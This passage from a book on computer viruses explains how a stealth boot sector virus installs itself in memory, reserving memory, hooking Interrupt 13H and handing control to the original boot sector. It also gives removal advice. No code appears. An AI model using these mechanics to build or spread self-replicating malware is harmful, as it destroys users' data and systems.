memory.
(B) Viral boot sector
loads the rest of virus
and old boot sector.
(C) Viral boot sector
installs Int 13H and
moves old boot
sector to execute.
Viral BS
Viral BS
A000:0000
0000:7C00
Viral BS
Old BS
Main
Body of
Virus
F000:2769
A000:0000
9820:7000
0000:004C
A000:0000
9820:7000
0000:004C
0000:7C00
Viral BS
Main
Body of
Virus
Old BS
9820:0054
Figure 17: The Virus in RAM.
Case Number Four: A Sophisticated Boot Sector Virus 93
The boot sector will move itself to the first 512 bytes just below
this. Since that sector was compiled with an offset of 7C00 Hex, it
must relocate to 9820:7C00 Hex (which is right below A000:0000),
as desired. Next, the viral boot sector will read the 6 sector long
main body of the virus into memory just below this, from
9820:7000 to 9820:7BFF. The original boot sector occupies
9820:7A00 to 9820:7BFF (since it is the sixth of six sectors loaded).
The viral boot sector then subtracts 4 from the byte at 0040:0013H
to reserve 4 kilobytes of memory for the virus. Next, the viral boot
sector reroutes Interrupt 13H to the virus. Finally, it moves the
original boot sector from 9820:7A00 to 0000:7C00 and executes it.
The original boot sector proceeds to load DOS and get the computer
up and running, oblivious to the fact that the system is infected.
A Word of Caution
The STEALTH virus code is listed in Appendix E. At the
risk of sounding like a broken record, I will say this virus is highly
contagious. You simply don't know when it is there. It hides itself
pretty well, and once it's infected several disks, it is easy to forget
where it's gone. At that point, you can kiss it goodbye. Once a
floppy disk is infected, you should reformat it to get rid of the virus.
If your hard disk gets infected, the safest way to be rid of it is to do
a low level format of Track 0, Head 0. Of course, IDE drives won't
let you do that too easily. Alternatively, you can write a program
that will save and restore your partition sector, or you can run
FDISK on the drive to overwrite the partition sector. Overwriting
the partition sector will keep the virus from executing, but it won't
clean all its code off your system. Obviously, if you're going to
experiment with this virus, I suggest you only do so on a system
where you can afford to lose all your data. Experiment with this
virus at your own risk!
94 The Little Black Book of Computer Viruses